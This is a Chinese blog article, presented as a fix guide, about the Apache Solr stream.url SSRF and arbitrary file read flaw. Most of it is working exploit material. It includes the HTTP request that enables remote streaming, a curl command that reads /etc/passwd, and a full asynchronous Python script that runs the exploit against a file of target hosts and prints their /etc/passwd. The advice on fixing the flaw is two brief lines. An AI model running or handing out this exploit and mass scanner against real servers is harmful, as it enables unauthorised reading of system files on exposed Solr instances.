您好,登錄后才能下訂單哦!
這篇文章主要講解了“Apache-Solr任意文件讀取漏洞怎么修復(fù)”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“Apache-Solr任意文件讀取漏洞怎么修復(fù)”吧!
Apache Solr是一個開源的搜索服務(wù),使用Java語言開發(fā)。Apache Solr的某些功能存在過濾不嚴(yán)格,在Apache Solr未開啟認(rèn)證的情況下,攻擊者可直接構(gòu)造特定請求開啟特定配置,并最終造成SSRF或文件讀取漏洞。
Apache Solr stream.url SSRF與任意文件讀取漏洞 中危
Apache Solr 所有版本
官方不予修復(fù),暫無安全版本。
docker search solr docker pull solr docker run -d -p 8983:8983 solr docker exec -it 實例id /bin/bash cp -r server/solr/configsets/_default/conf /var/solr/data/test1
參考:http://www.bubuko.com/infodetail-3118740.html
首先獲取core
以my_core測試為例,
POST /solr/my_core/config HTTP/1.1 Host: x.x.x.x:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 84 {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
讀取文件
curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
#!/usr/bin/python # coding: UTF-8 import argparse import asyncio import json import pathlib from typing import Tuple from urllib.parse import urlparse import httpx class URLAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): if not urlparse(values): raise ValueError("Not a valid url!") setattr(namespace, self.dest, values) class FILEAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): if not pathlib.Path(values).exists(): raise ValueError("File not exists!") setattr(namespace, self.dest, values) parser = argparse.ArgumentParser(description="Solr Poc") parser.add_argument("--host", type=str, action=URLAction, help="target host uri") parser.add_argument("--file", type=str, action=FILEAction, help="target host file") parser.add_argument("--conn", type=int, default=10, help="asyncio max connetions") args = parser.parse_args() SEM = asyncio.Semaphore(args.conn) RESULT = {} async def check(host: str) -> Tuple[str, bool]: status = False async with SEM: async with httpx.AsyncClient(base_url=host) as client: try: core_data = ( await client.get( "/solr/admin/cores?indexInfo=false&wt=json", timeout=3 ) ).json() except httpx.ReadTimeout: print(f"{host} TimeOut!") status = "TimeOut" else: if (data_status := core_data["status"]) : core = list(data_status.keys())[0] await client.post( f"/solr/{core}/config", json={ "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming": "true" } }, ) result_data = ( await client.post( url=f"/solr/{core}/debug/dump?param=ContentStreams", data={"stream.url": "file:///etc/passwd"}, ) ).json() if (streams := result_data["streams"]) : print(streams[0]["stream"]) status = True finally: RESULT[host] = status return host, status async def loop(urls): await asyncio.gather(*list(map(check, urls))) def main(): result_file = pathlib.Path("solr_main.json") try: urls = set() if args.host: urls.add(args.host) if args.file: with pathlib.Path(args.file).open("r") as file: urls = urls.union( {url for line in file if urlparse((url := line.strip()))} ) print(f"tasks: {len(urls)}") asyncio.run(loop(urls)) except KeyboardInterrupt: pass finally: with result_file.open("w") as file: file.write(json.dumps(RESULT, indent=4, ensure_ascii=True))
1. 增加身份驗證/授權(quán)
2. 禁止Solr API 以及管理 UI 直接對公網(wǎng)開放。設(shè)置防火墻,以便只允許受信任的計算機和人員訪問。
感謝各位的閱讀,以上就是“Apache-Solr任意文件讀取漏洞怎么修復(fù)”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對Apache-Solr任意文件讀取漏洞怎么修復(fù)這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。